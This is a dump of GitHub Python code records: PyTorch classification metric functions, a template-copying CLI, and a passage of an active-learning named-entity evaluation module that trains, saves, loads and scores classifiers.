'macro'.\n        thrs (Number | tuple[Number], optional): Predictions with scores under\n            the thresholds are considered negative. Default to 0.\n\n    Returns:\n         float | np.array | list[float | np.array]: Precision.\n\n        +----------------------------+--------------------+-------------------+\n        | Args                       | ``thrs`` is number | ``thrs`` is tuple |\n        +============================+====================+===================+\n        | ``average_mode`` = \"macro\" | float              | list[float]       |\n        +----------------------------+--------------------+-------------------+\n        | ``average_mode`` = \"none\"  | np.array           | list[np.array]    |\n        +----------------------------+--------------------+-------------------+\n    \"\"\"\n    precisions, _, _ = precision_recall_f1(pred, target, average_mode, thrs)\n    return precisions\n\n\ndef recall(pred, target, average_mode='macro', thrs=0.):\n    \"\"\"Calculate recall according to the prediction and target.\n\n    Args:\n        pred (torch.Tensor | np.array): The model prediction with shape (N, C).\n        target (torch.Tensor | np.array): The target of each prediction with\n            shape (N, 1) or (N,).\n        average_mode (str): The type of averaging performed on the result.\n            Options are 'macro' and 'none'. If 'none', the scores for each\n            class are returned. If 'macro', calculate metrics for each class,\n            and find their unweighted mean.\n            Defaults to 'macro'.\n        thrs (Number | tuple[Number], optional): Predictions with scores under\n            the thresholds are considered negative. Default to 0.\n\n    Returns:\n         float | np.array | list[float | np.array]: Recall.\n\n        +----------------------------+--------------------+-------------------+\n        | Args                       | ``thrs`` is number | ``thrs`` is tuple |\n        +============================+====================+===================+\n        | ``average_mode`` = \"macro\" | float              | list[float]       |\n        +----------------------------+--------------------+-------------------+\n        | ``average_mode`` = \"none\"  | np.array           | list[np.array]    |\n        +----------------------------+--------------------+-------------------+\n    \"\"\"\n    _, recalls, _ = precision_recall_f1(pred, target, average_mode, thrs)\n    return recalls\n\n\ndef f1_score(pred, target, average_mode='macro', thrs=0.):\n    \"\"\"Calculate F1 score according to the prediction and target.\n\n    Args:\n        pred (torch.Tensor | np.array): The model prediction with shape (N, C).\n        target (torch.Tensor | np.array): The target of each prediction with\n            shape (N, 1) or (N,).\n        average_mode (str): The type of averaging performed on the result.\n            Options are 'macro' and 'none'. If 'none', the scores for each\n            class are returned. If 'macro', calculate metrics for each class,\n            and find their unweighted mean.\n            Defaults to 'macro'.\n        thrs (Number | tuple[Number], optional): Predictions with scores under\n            the thresholds are considered negative. Default to 0.\n\n    Returns:\n         float | np.array | list[float | np.array]: F1 score.\n\n        +----------------------------+--------------------+-------------------+\n        | Args                       | ``thrs`` is number | ``thrs`` is tuple |\n        +============================+====================+===================+\n        | ``average_mode`` = \"macro\" | float              | list[float]       |\n        +----------------------------+--------------------+-------------------+\n        | ``average_mode`` = \"none\"  | np.array           | list[np.array]    |\n        +----------------------------+--------------------+-------------------+\n    \"\"\"\n    _, _, f1_scores = precision_recall_f1(pred, target, average_mode, thrs)\n    return f1_scores\n\n\ndef support(pred, target, average_mode='macro'):\n    \"\"\"Calculate the total number of occurrences of each label according to the\n    prediction and target.\n\n    Args:\n        pred (torch.Tensor | np.array): The model prediction with shape (N, C).\n        target (torch.Tensor | np.array): The target of each prediction with\n            shape (N, 1) or (N,).\n        average_mode (str): The type of averaging performed on the result.\n            Options are 'macro' and 'none'. If 'none', the scores for each\n            class are returned. If 'macro', calculate metrics for each class,\n            and find their unweighted sum.\n            Defaults to 'macro'.\n\n    Returns:\n        float | np.array: Support.\n\n            - If the ``average_mode`` is set to macro, the function returns\n              a single float.\n            - If the ``average_mode`` is set to none, the function returns\n              a np.array with shape C.\n    \"\"\"\n    confusion_matrix = calculate_confusion_matrix(pred, target)\n    with torch.no_grad():\n        res = confusion_matrix.sum(1)\n        if average_mode == 'macro':\n            res = float(res.sum().numpy())\n        elif average_mode == 'none':\n            res = res.numpy()\n        else:\n            raise ValueError(f'Unsupport type of averaging {average_mode}.')\n    return res\n","repo_name":"avalonstrel/NeuralCollapse","sub_path":"utils/evaluation/eval_metrics.py","file_name":"eval_metrics.py","file_ext":"py","file_size_in_byte":13497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22581119410","text":"import argparse\nimport os\n\n\ndef run_cli():\n    \"\"\" USage\n    \n    template  copy  --repo_dir utilmy/\n    \"\"\"\n    p   = argparse.ArgumentParser()\n    add = p.add_argument\n\n    add(\"--action\",   type=str,  default=\"show\",           help = \"repo_dir\")\n\n    add(\"--name\",     type=str,  default=\"pypi_package\",   help = \"\")\n    add(\"--out_dir\",  type=str,  default=\"mytemplate/\",    help = \"\")\n    args = p.parse_args()\n\n    if args.action == 'show':\n       template_show()\n\n    if args.action == 'copy':\n       template_copy(args.name, args.out_dir)\n\n\ndef template_show():\n    \"\"\"function template_show\n    Args:\n    Returns:\n        \n    \"\"\"\n    import glob\n    this_repo = os.path.abspath(__file__).replace(\"\\\\\", \"/\")\n    flist     = os.walk(this_repo +\"/templist/\")\n    print(flist)\n\n\ndef template_copy(name, out_dir):\n    \"\"\"function template_copy\n    Args:\n        name:   \n        out_dir:   \n    Returns:\n        \n    \"\"\"\n    from utilmy import os_copy\n    import glob\n    from pathlib import Path\n\n    this_file = os.path.abspath(__file__).replace(\"\\\\\", \"/\")\n    this_repo = os.path.abspath(this_file + \"/../\")\n    src       = this_repo + \"/templates/tempfile/\" + name\n    os_copy(src, out_dir)\n    print( Path(out_dir) /  Path(name) )\n\n\n#############################################################################\nif __name__ == \"__main__\":\n    run_cli()\n\n","repo_name":"math-a3k/docs_gh_pages_test","sub_path":"utilmy/templates/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"19770378588","text":"\"\"\"\nFunctions for simulation and evaluation\nNot all functions are yet documented here.\nBut the ones required for loading a saved model and\nclassifying them are documented.\nThose are, do_load_model, classify_from_loaded_model and\nget_sentence_certainty_score\n\"\"\"\n\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\n\nimport sys\nimport time\nimport os\nimport shutil\nimport importlib\nimport argparse\nimport glob\nfrom sklearn.externals import joblib\nimport numpy\nimport random\nimport math\nimport subprocess\nimport transform_to_brat_format\nimport vectorize_data\nimport classify_and_select\nimport active_learning_preannotation\nimport simple_tokenizer\n\nfrom process_monitoring import ProcessMonitor\n\n\n#from classify_and_select import StructuredModelFrankWolfeSSVM\n\ndef get_binary_list(lst, category, outside_class, inside_prefix, beginning_prefix):\n    print(\"category\", category)\n    category_inside = inside_prefix + category[len(beginning_prefix):]\n    print(\"category_inside\", category_inside)\n    result_lst = []\n    for res in lst:\n        if category in res or category_inside in res:\n            result_lst.append(category)\n        else:\n            result_lst.append(outside_class)\n    return result_lst\n\n\ndef get_result_tag_format(results, model):\n    results_tag_format = []\n    for prediction in results:\n        tag_format = [model.inv_label_dict[el] for el in prediction]\n        results_tag_format.append(tag_format)\n    return results_tag_format\n\n\ndef evaluate_category(category, test_sentences, test_results, expected_results, outside_class, project_path, \\\n                          output_dir, inside_prefix, beginning_prefix, c_value, model_type, whether_to_use_word2vec, \\\n                          whether_to_use_clustering, training_data_size):\n    test_results_binary = get_binary_list(test_results, category, outside_class, inside_prefix, beginning_prefix)\n    expected_results_binary = get_binary_list(expected_results, category, outside_class, inside_prefix, beginning_prefix)\n\n    precision = precision_score(y_true=expected_results_binary, y_pred=test_results_binary, average='binary', pos_label=category)\n    recall = recall_score(y_true=expected_results_binary, y_pred=test_results_binary, average='binary', pos_label=category)\n    f1 = f1_score(y_true=expected_results_binary, y_pred=test_results_binary, average='binary', pos_label=category)\n\n    output_path = os.path.join(project_path, output_dir)\n    if not os.path.exists(output_path):\n        os.makedirs(output_path)\n    base_name = category + \"_\" + model_type.__name__ + \"_c_\" + str(c_value) + \"_word2vec_\" + str(whether_to_use_word2vec) + \\\n         \"_clustering_\" + str(whether_to_use_clustering)\n    output_file_res_path = os.path.join(output_path, base_name + \"_res.txt\") \n    output_file_data_path = os.path.join(output_path, base_name + \"_data.csv\") \n    output_file_res = open(output_file_res_path, \"w\")\n    output_file_data = open(output_file_data_path, \"w\")\n\n    output_file_res.write(\"\\t\".join([\"precision\", str(precision)]) + \"\\n\")\n    output_file_res.write(\"\\t\".join([\"recall\", str(recall)]) + \"\\n\")\n    output_file_res.write(\"\\t\".join([\"f1_score\", str(f1)]) + \"\\n\")\n    output_file_res.write(\"\\t\".join([\"training_data_size\", str(training_data_size)]) + \"\\n\")\n\n    print(\"\\t\".join([\"precision\", str(precision)]))\n    print(\"\\t\".join([\"recall\", str(recall)]))\n    print(\"\\t\".join([\"f1_score\", str(f1)]))\n\n    \n    predicted_entities = 0\n    relevant_entities = 0\n    for sentence, result_full, expected_full, result, expected in \\\n            zip(test_sentences, test_results, expected_results, test_results_binary, expected_results_binary):\n        result_type = \"RES:OUTSIDE\"\n        if result == category and expected == category:\n            result_type = \"RES:TP\"\n            predicted_entities = predicted_entities + 1\n            relevant_entities = relevant_entities + 1\n        if result == category and expected != category:\n            result_type = \"RES:FP\"\n            predicted_entities = predicted_entities + 1\n        if result != category and expected == category:\n            result_type = \"RES:FN\"\n            relevant_entities = relevant_entities + 1\n\n        output_file_data.write(\"\\t\".join([\" \".join(sentence), str(result_full), str(expected_full), result, expected, result_type]) + \"\\n\")\n\n        \n    if predicted_entities > 0:\n        precision_conf_interval = 1.96*math.sqrt(precision*(1-precision)/predicted_entities)\n    else:\n        precision_conf_interval = 1 # No predicted entities                                                                                                             \n\n    if relevant_entities > 0:\n        recall_conf_interval = 1.96*math.sqrt(recall*(1-recall)/relevant_entities)\n    else:\n        recall_conf_interval = 1 # No predicted entities\n    output_file_res.write(\"\\t\".join([\"precision_conf_interval\", str(precision_conf_interval)]) + \"\\n\")\n    output_file_res.write(\"\\t\".join([\"recall_conf_interval\", str(recall_conf_interval)]) + \"\\n\")\n    \n    output_file_res.close()\n    output_file_data.close()\n\ndef do_save_model(properties_eval, project_path, category, model, properties_file_name):\n    output_path = os.path.join(project_path, properties_eval.saved_model_dir, category)\n    if not os.path.exists(output_path):\n        os.makedirs(output_path)\n\n    filename = os.path.join(output_path, category + \"_model\")\n    joblib.dump(model, filename, compress=9)\n    print(\"Saved model with name \" + filename)\n\n    base = os.path.basename(properties_file_name)\n    f = open(properties_file_name)\n    settings_content = f.read()\n    f.close()\n    used_settings = open(os.path.join(output_path, base), \"w\")\n    used_settings.write(settings_content)\n    used_settings.close()\n\n    return filename\n\n\ndef do_load_model(properties, model_path, category):\n    \"\"\"\n    Loads a saved model into memory\n    \"\"\"\n    #output_path = os.path.join(project_path, properties.saved_model_dir, category)\n    filename = os.path.join(model_path, category + \"_model\")\n    model = joblib.load(filename)\n    print(\"Loaded model with name \" + filename)\n    if model.__class__ != properties.model_type:\n        print(\"The saved model is not of the same type as the model in the properties file\")\n        raise ValueError(\"The saved model is not of the same type as the model in the properties file\")\n    return model\n\n\n\"\"\"\ndef do_load_model(properties, project_path, category):\n    output_path = os.path.join(project_path, properties.saved_model_dir, category)\n    filename = os.path.join(output_path, category + \"_model\")\n    model = joblib.load(filename)\n    print(\"Loaded model with name \" + filename)\n    if model.__class__ != properties.model_type:\n        print(\"The saved model is not of the same type as the model in the properties file\")\n        raise ValueError(\"The saved model is not of the same type as the model in the properties file\")\n    return model\n\"\"\"\n\n# When only one category is allowed. Check that there is only one category, and return it\ndef get_category(properties):\n    categories = [el for el in properties.minority_classes if el.startswith(properties.beginning_prefix)]\n    if len(categories) > 1:\n        print(\"there is only support for one category\")\n        print(\"Here, the following categories were given: \" + str(categories))\n        raise ValueError(\"there is only support for one category. Here, the following categories were given: \" + str(categories))\n    category_with_prefix = categories[0]\n    category = category_with_prefix.replace(properties.beginning_prefix, \"\") # Just want the category name, without the beginning prefix\n    return category_with_prefix, category\n\ndef get_category_inside(properties):\n    categories = [el for el in properties.minority_classes if el.startswith(properties.inside_prefix)]\n    if len(categories) > 1:\n        print(\"there is only support for one category\")\n        print(\"Here, the following categories were given: \" + str(categories))\n        raise ValueError(\"there is only support for one category. Here, the following categories were given: \" + str(categories))\n    category_with_inside_prefix = categories[0]\n    return category_with_inside_prefix\n\n\ndef classify_from_loaded_model(properties, project_path, text_vector, word2vecwrapper, model=None, result_X_unlabelled_np=None, text_vector_unlabelled_np = None):\n    \"\"\"\n    Classifies from saved model\n    It is possible to submit pre-vectorized data to the function \n    (in result_X_unlabelled_np and text_vector_unlabelled_np,\n    but if they are None, the data in text_vector is instead used\n    to vectorize the data\n\n    If the mode is None, a model is loaded from the data in properies\n    \n    \"\"\"\n    start_time = time.time()\n    time_file = open(\"time_taken.txt\", \"w\")\n    time_file.write(\"len(text_vector) \" + str(len(text_vector)))\n\n\n    category_with_prefix, category = get_category(properties)\n    category_with_inside_prefix = get_category_inside(properties)\n    if not model:\n        model = do_load_model(properties, project_path, category)\n\n    text_tokenized = simple_tokenizer.simple_tokenize_list(text_vector)\n    time_file.write(\" \".join([\"After tokenize\", str(time.time() - start_time), '\\n']))\n\n    if result_X_unlabelled_np ==None or text_vector_unlabelled_np == None:\n        result_X_unlabelled_np, text_vector_unlabelled_np = \\\n            vectorize_data.vectorize_unlabelled(text_tokenized, model.current_word_vectorizer, model.context_word_vectorizer, \\\n                                                    properties.whether_to_use_word2vec, properties.number_of_previous_words, \\\n                                                    properties.number_of_following_words, properties.use_current_word_as_feature, \\\n                                                    word2vecwrapper, properties.whether_to_use_clustering)\n\n    time_file.write(\" \".join([\"After vectorize\", str(time.time() - start_time), '\\n']))\n\n\n    results = model.predict(result_X_unlabelled_np)\n    time_file.write(\" \".join([\"After predict\", str(time.time() - start_time), '\\n']))\n\n    probabilities = model.predict_proba(result_X_unlabelled_np)\n    time_file.write(\" \".join([\"After predict probabilities\", str(time.time() - start_time), '\\n']))\n\n    #\"probability\" is the probability output from the classifier\n    # in \"word_probabilities_expanded\", these have been mapped to\n    # categories of the classifier\n    # tag_format is the output of the classifier with the tags, e.g. ['O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O']\n    to_return = []\n    for prediction, sentence, sentence_vectorized_np, probability, sentence_tokenized in \\\n            zip(results, text_vector, result_X_unlabelled_np, probabilities, text_tokenized):\n        word_probabilities_expanded = []\n        for word_probabilities in probability:\n            class_prob_score_dict = {}\n            for class_prob_score, i in zip(word_probabilities, range(0, len(model.inv_label_dict.keys()))):\n                class_prob_score_dict[model.inv_label_dict[i]] = class_prob_score\n            word_probabilities_expanded.append(class_prob_score_dict)\n        tag_format = [model.inv_label_dict[el] for el in prediction]\n        \n        # If there is one occurrence of the category\n        if category_with_prefix in tag_format or category_with_inside_prefix in tag_format: \n            binary_category = category\n        else: \n            binary_category = properties.outside_class\n        certainty_score = get_sentence_certainty_score(sentence_vectorized_np, prediction, model)\n        to_return.append((tag_format, binary_category, certainty_score, sentence, word_probabilities_expanded))\n        certainty_score = None\n        binary_category = None\n        tag_format = None\n    time_file.write(\" \".join([\"After loop\", str(time.time() - start_time), '\\n']))    \n    return to_return, result_X_unlabelled_np, text_vector_unlabelled_np\n\n\n\ndef get_sentence_certainty_score(xi, yi, model):\n    \"\"\"\n    Returns the sentence-level certainty score, \n    which is based on the token-level certainty score.\n    The algorithm for this is as follows:\n    If a minority category has been predicted for at least one token, \n    return the most certain of these\n    If not, return the score for the most UNcertain of the majority \n    category predictions\n    \"\"\"\n    probabilities = model.predict_proba([xi])\n    probabilities_for_sentence = probabilities[0] # Only called it for one sentence, that's why the index is needed\n\n    only_majority = True\n    for el in yi:\n        if el != model.majority_class:\n            only_majority = False\n            \n    if only_majority:\n        min_score = float(\"inf\")\n        # everything is predicted to belong to the majority category\n        # return the score, where this prediction is least certain\n        for word_prob in probabilities_for_sentence:\n            #print(\"word_prob only majority\", word_prob)\n            #print(\"word_prob[self.majority_class]\", word_prob[self.majority_class])\n            if word_prob[model.majority_class] < min_score: \n                    min_score = word_prob[model.majority_class]\n        return min_score\n    else:\n        max_score = float(\"-inf\")\n            # there is a minority category prediction been made\n            # return the score, where the classifier is most certain of this category\n        for word_prob, prediction in zip(probabilities_for_sentence, yi):\n        #print(\"word_prob minority\", word_prob)\n            if prediction != model.majority_class:\n                # i.e. the same as probability for the beginning category + probability for the inside category\n                prob_not_majority = 1 - word_prob[model.majority_class] \n                #print(\"prob_not_majority\", prob_not_majority)\n                if prob_not_majority > max_score:\n                    max_score = prob_not_majority\n        return max_score      \n\n\ndef train_and_evaluate_model_cross_validation(properties, project_path, word2vecwrapper, cross_validation_properties):\n    print()\n    print(\"**************************************************************\")\n    print(\"* Start classification and evaluation samples *\")\n    print(\"**************************************************************\")\n\n    # Classes\n    classes = properties.minority_classes[:]\n    classes.append(properties.outside_class)\n    print(\"Classes to use:\\t\" + str(classes))\n    \n    labelled_data_dir_for_project = os.path.join(project_path, properties.labelled_data_dir)\n    labelled_text_vector, labelled_label_vector, label_dict = \\\n        vectorize_data.read_file_labelled_data(labelled_data_dir_for_project, properties.data_file_extension, \\\n                                                   properties.minority_classes, properties.outside_class)\n    \n    active_learning_preannotation.check_frequency_of_labels(labelled_label_vector, classes)\n\n    skf = StratifiedKFold(n_splits=cross_validation_properties.nr_of_cross_validation_splits_for_evaluation,\\\n                          shuffle = True, random_state = 3)\n\n    # need to input a vector of the same length as labelled_label_vector, so just constuct on only with zeros\n    empty_y = [0 for el in labelled_label_vector]\n\n    test_sentences = []\n    test_results = []\n    expected_results = []\n\n    foldnr = 0\n    for train_index, test_index in skf.split(empty_y, empty_y):\n        print(\"foldnr\", foldnr)\n     \n        x_train_sentences = [ vec for (i, vec) in enumerate(labelled_text_vector) if i in train_index]\n        y_train = [ vec for (i, vec) in enumerate(labelled_label_vector) if i in train_index]\n\n        x_test_sentences = [ vec for (i, vec) in enumerate(labelled_text_vector) if i in test_index]\n        y_test = [ vec for (i, vec) in enumerate(labelled_label_vector) if i in test_index]\n\n        active_learning_preannotation.check_frequency_of_labels(y_train, classes)\n\n        X_train_np, X_test_np, y_train_np, text_vector_train_np, text_vector_text_test_np, \\\n            current_word_vectorizer, context_word_vectorizer = \\\n            vectorize_data.vectorize_data(text_vector_labelled = x_train_sentences, \\\n                                          text_vector_unlabelled = x_test_sentences, \\\n                                            label_vector_labelled = y_train, \\\n                                            class_dict = label_dict, \\\n                                            use_word2vec = properties.whether_to_use_word2vec, \\\n                                            number_of_previous_words = properties.number_of_previous_words,\\\n                                            number_of_following_words = properties.number_of_following_words, \\\n                                            use_current_word_as_feature = properties.use_current_word_as_feature, \\\n                                            min_df_current = properties.min_df_current, \\\n                                            min_df_context = properties.min_df_context, \\\n                                            max_df_current = properties.max_df_current, \\\n                                            max_df_context = properties.max_df_context, \\\n                                            word2vecwrapper = word2vecwrapper, \\\n                                            current_word_vocabulary = properties.current_word_vocabulary, \\\n                                            context_word_vocabulary = properties.context_word_vocabulary,\\\n                                            use_clustering = properties.whether_to_use_clustering)\n\n        model = properties.model_type(label_dict, properties.minority_classes, properties.outside_class, properties.beginning_prefix, \\\n                                          properties.inside_prefix, properties.max_iterations, properties.use_cross_validation, \\\n                                          properties.nr_of_cross_validation_splits, properties.c_value)\n\n        test_sentences.extend(x_test_sentences)\n        \n        print(\"Starts to train\")\n        model.fit(X_train_np, y_train_np)\n        #print(\"Score\", model.score(X_train_np, y_train_np))\n\n        print(\"Starts to predict\")\n        results = model.predict(X_test_np)\n        foldnr = foldnr + 1\n\n        results_tag_format = get_result_tag_format(results, model)\n        test_results.extend(results_tag_format)\n        expected_results.extend(y_test)\n        \n    for category in [el for el in label_dict.keys() if el.startswith(properties.beginning_prefix)]:\n        evaluate_category(category, test_sentences, test_results, expected_results, properties.outside_class, project_path, \\\n                              cross_validation_properties.evaluation_output_dir, properties.inside_prefix, properties.beginning_prefix, \\\n                              properties.c_value, properties.model_type, properties.whether_to_use_word2vec, properties.whether_to_use_clustering, \\\n                              len(labelled_text_vector))\n\n\n\n\ndef train_and_evaluate_model_against_evaluation_data(properties, project_path, word2vecwrapper, properties_eval, properties_file_name):\n    print()\n    print(\"***********************************************************************\")\n    print(\"* Start classification and evaluation samples against evaluation data*\")\n    print(\"***********************************************************************\")\n\n    # Classes\n    classes = properties.minority_classes[:]\n    classes.append(properties.outside_class)\n    print(\"Classes to use:\\t\" + str(classes))\n    \n    labelled_data_dir_for_project = os.path.join(project_path, properties.labelled_data_dir)\n    labelled_text_vector, labelled_label_vector, label_dict = \\\n        vectorize_data.read_file_labelled_data(labelled_data_dir_for_project, properties.data_file_extension, \\\n                                                   properties.minority_classes, properties.outside_class)\n\n    active_learning_preannotation.check_frequency_of_labels(labelled_label_vector, classes)\n\n    category_with_prefix, category = get_category(properties)\n    print(\"Performing evaluation for the category \" + category)\n\n    separate_evaluation_base_path = os.path.join(properties_eval.separate_evaluation_data_dir, category)\n    positive_path = os.path.join(project_path, separate_evaluation_base_path, category)\n    negative_path = os.path.join(project_path, separate_evaluation_base_path, properties_eval.negative_category)\n\n    expected_results = []\n    positive_sent = []\n    for pos_file in glob.glob(os.path.join(positive_path, \"*.txt\")):\n        positive_sent.extend(simple_tokenizer.simple_tokenize(pos_file))\n        expected_results.append([category_with_prefix])\n\n    negative_sent = []\n    for neg_file in glob.glob(os.path.join(negative_path, \"*.txt\")):\n        negative_sent.extend(simple_tokenizer.simple_tokenize(neg_file))\n        expected_results.append([properties.outside_class])\n\n    evaluation_data = positive_sent + negative_sent\n\n    # The unlabelled data sent to the vectorizer is here the evaluation data \n    X_train_np, X_test_np, y_train_np, text_vector_train_np, text_vector_text_test_np, \\\n        current_word_vectorizer, context_word_vectorizer = \\\n        vectorize_data.vectorize_data(text_vector_labelled = labelled_text_vector, \\\n                                    text_vector_unlabelled = evaluation_data, \\\n                                        label_vector_labelled = labelled_label_vector, \\\n                                        class_dict = label_dict, \\\n                                        use_word2vec = properties.whether_to_use_word2vec, \\\n                                        number_of_previous_words = properties.number_of_previous_words, \\\n                                        number_of_following_words = properties.number_of_following_words, \\\n                                        use_current_word_as_feature = properties.use_current_word_as_feature, \\\n                                        min_df_current = properties.min_df_current, \\\n                                        min_df_context = properties.min_df_context, \\\n                                        max_df_current = properties.max_df_current, \\\n                                        max_df_context = properties.max_df_context, \\\n                                        word2vecwrapper = word2vecwrapper, \\\n                                        current_word_vocabulary = properties.current_word_vocabulary, \\\n                                        context_word_vocabulary = properties.context_word_vocabulary, \\\n                                        use_clustering = properties.whether_to_use_clustering)\n\n    model = properties.model_type(label_dict, properties.minority_classes, properties.outside_class, properties.beginning_prefix, \\\n                                      properties.inside_prefix, properties.max_iterations, properties.use_cross_validation, \\\n                                      properties.nr_of_cross_validation_splits, properties.c_value)\n\n    print(\"Starts to train\")\n    model.fit(X_train_np, y_train_np)\n\n    if properties_eval.save_model:\n        model.current_word_vectorizer = current_word_vectorizer\n        model.context_word_vectorizer = context_word_vectorizer\n\n        print(\"model.minority_classes_index\", model.minority_classes_index)\n\n        \n        for c_nr in range(0, len(model.minority_classes_index)):\n            category_name =  model.inv_label_dict[c_nr]\n            if category_name.startswith(model.beginning_prefix):\n                model.beginning_category = c_nr\n            if category_name.startswith(model.inside_prefix):\n                model.inside_category = c_nr\n        print(\"model.beginning_category\", model.beginning_category)\n\n        savedmodel_filename = do_save_model(properties_eval, project_path, category, model, properties_file_name)\n\n    print(\"Starts to predict\")\n    results = model.predict(X_test_np)\n\n    if properties_eval.save_model:\n        output_path = os.path.join(project_path, properties_eval.saved_model_dir, category) \n        loaded_model = do_load_model(properties, output_path, category)\n        loaded_results = loaded_model.predict(X_test_np)\n        for res1, res2 in zip(results, loaded_results):\n            if not numpy.array_equal(res1, res2):\n                print(res1, res2)\n                print(\"ERROR: Loaded model different from saved one\")\n                exit(1)\n        loaded_model = None\n\n    test_results = get_result_tag_format(results, model)    \n\n    evaluate_category(category_with_prefix, evaluation_data, test_results, expected_results, \\\n                          properties.outside_class, project_path, properties_eval.separate_evaluation_output_dir, \\\n                          properties.inside_prefix, properties.beginning_prefix, properties.c_value, properties.model_type, \\\n                          properties.whether_to_use_word2vec, properties.whether_to_use_clustering, len(labelled_text_vector))\n\n\n##################################################\n# For simulating different sizes of training data\n##################################################\n\ndef evaluate_category_different_data_sizes(category, test_sentences, test_results, expected_results, outside_class, project_path, \\\n                                               output_dir, inside_prefix, beginning_prefix, parameters, cs, model_type,\\\n                                               whether_to_use_word2vec, data_size, selection_type, fold_nr):\n    test_results_binary = get_binary_list(test_results, category, outside_class, inside_prefix, beginning_prefix)\n    expected_results_binary = get_binary_list(expected_results, category, outside_class, inside_prefix, beginning_prefix)\n\n    precision = precision_score(y_true=expected_results_binary, y_pred=test_results_binary, average='binary', pos_label=category)\n    recall = recall_score(y_true=expected_results_binary, y_pred=test_results_binary, average='binary', pos_label=category)\n    f1 = f1_score(y_true=expected_results_binary, y_pred=test_results_binary, average='binary', pos_label=category)\n\n    print(\"selection_type\", selection_type)\n    print(\"data_size\", data_size)\n\n    output_path_base = os.path.join(project_path, output_dir + \"_simulate_active_learning\", str(category))\n    if not os.path.exists(output_path_base):\n        os.makedirs(output_path_base)\n\n    output_path_base_fold = os.path.join(output_path_base, str(fold_nr))\n    if not os.path.exists(output_path_base_fold):\n        os.makedirs(output_path_base_fold)\n\n    output_path = os.path.join(output_path_base_fold, selection_type)\n    if not os.path.exists(output_path):\n        os.makedirs(output_path)\n    \n    base_name = category + \"_\" + selection_type + \"_\" + model_type.__name__ + \"_word2vec_\" + str(whether_to_use_word2vec) + \"_\" + str(data_size)\n\n    csv_base = category + \"_\" + selection_type + \"_\" + model_type.__name__ + \"_word2vec_\" + str(whether_to_use_word2vec)\n    output_file_conll_path = os.path.join(output_path, csv_base + \"_conll.csv\")\n\n\n    write_in_conll_format(test_sentences, expected_results, test_results,\\\n                          output_file_conll_path, outside_class, inside_prefix, beginning_prefix)\n    \"\"\"\n    output_file_conll = open(output_file_conll_path, \"w\")\n    for text_list, exp_list, res_list in zip(test_sentences, expected_results, test_results):\n        for text, exp, res in zip(text_list, exp_list, res_list):\n            output_file_conll.write(\"\\t\".join([text, exp, res]) + \"\\n\")\n        output_file_conll.write(\"\\n\\n\") # New sentence\u0013\n    output_file_conll.close()\n    \"\"\"\n    conll_res = askConllScript(output_file_conll_path, category[len(beginning_prefix):])\n    print(conll_res)\n\n    output_file_conll_res_path = os.path.join(output_path, base_name + \"conll_res.txt\")\n    output_file_conll_res = open(output_file_conll_res_path, \"w\")\n    output_file_conll_res.write(\"\\t\".join([\"precision\", str(conll_res[\"precision\"])]) + \"\\n\")\n    output_file_conll_res.write(\"\\t\".join([\"recall\", str(conll_res[\"recall\"])]) + \"\\n\")\n    output_file_conll_res.write(\"\\t\".join([\"f1_score\", str(conll_res[\"FB1\"])]) + \"\\n\")\n    output_file_conll_res.write(\"\\t\".join([\"c\", str(cs).replace(\"\\n\", \" \")]) + \"\\n\")\n    output_file_conll_res.close()\n\n    output_file_res_path = os.path.join(output_path, base_name + \"_res.txt\")\n    #output_file_data_path = os.path.join(output_path, base_name + \"_data.csv\")\n    output_file_res = open(output_file_res_path, \"w\")\n    #output_file_data = open(output_file_data_path, \"w\")\n    output_file_res.write(\"\\t\".join([\"precision\", str(precision)]) + \"\\n\")\n    output_file_res.write(\"\\t\".join([\"recall\", str(recall)]) + \"\\n\")\n    output_file_res.write(\"\\t\".join([\"f1_score\", str(f1)]) + \"\\n\")\n    output_file_res.write(\"\\t\".join([\"c\", str(cs).replace(\"\\n\", \" \")]) + \"\\n\")\n\n\n\n    print(\"\\t\".join([\"precision\", str(precision)]))\n    print(\"\\t\".join([\"recall\", str(recall)]))\n    print(\"\\t\".join([\"f1_score\", str(f1)]))\n    print(\"\\t\".join([\"parameters\", str(parameters).replace(\"\\n\", \" \")]))\n    print(\"\\t\".join([\"cs\", str(cs).replace(\"\\n\", \" \")]))\n    \n    \"\"\"\n    for sentence, result_full, expected_full, result, expected in \\\n            zip(test_sentences, test_results, expected_results, test_results_binary, expected_results_binary):\n        result_type = \"RES:OUTSIDE\"\n        if result == category and expected == category:\n            result_type = \"RES:TP\"\n        if result == category and expected != category:\n            result_type = \"RES:FP\"\n        if result != category and expected == category:\n            result_type = \"RES:FN\"\n\n        output_file_data.write(\"\\t\".join([\" \".join(sentence), str(result_full), str(expected_full), result, expected, result_type]) + \"\\n\")\n    \"\"\"    \n    output_file_res.close()\n\n    print(\"---------\")\n    print(\"---------\\n\")\n    #output_file_data.close()\n\ndef write_in_conll_format(test_sentences, expected_results, test_results,\\\n                          output_file_conll_path, outside_class, inside_prefix, beginning_prefix):\n    output_file_conll = open(output_file_conll_path, \"w\")\n    for text_list, exp_list, res_list in zip(test_sentences, expected_results, test_results):\n        for nr, (text, exp, res) in enumerate(zip(text_list, exp_list, res_list)):\n            if res.startswith(inside_prefix):\n                if nr == 0 or res_list[nr-1] == outside_class:\n                    res = beginning_prefix + res[2:]\n            output_file_conll.write(\"\\t\".join([text, exp, res]) + \"\\n\")\n        output_file_conll.write(\"\\n\\n\")\n    output_file_conll.close()\n\n\ndef askConllScript(outputdata, category):\n    #print (\"Using conll script for file: \", outputdata, category)\n    conllCommand = \"./conlleval.pl -d '\\t' < \" + outputdata\n    print(\"Running command \" + conllCommand)\n    status = str(subprocess.getoutput(conllCommand))\n    conllOutput = status.split('\\n')\n    print(conllOutput)\n    returndict = {}\n    for line in conllOutput:\n        if line.find(category) != -1:\n            line = line.replace(category + \":\", \"\")\n            splitted =  line.split(\";\")\n            for el in splitted:\n                sp = el.split(\":\")\n                returndict[sp[0].strip()] = float(sp[1].strip().replace(\"%\", \"\"))/100\n        else:\n            pass\n            #print(\"Does not use: \",  line)\n    return returndict\n\n\ndef train_and_evaluate_simulation(x_train_sentences, y_train, x_test_sentences, y_test, label_dict, classes, properties, word2vecwrapper, \\\n                                      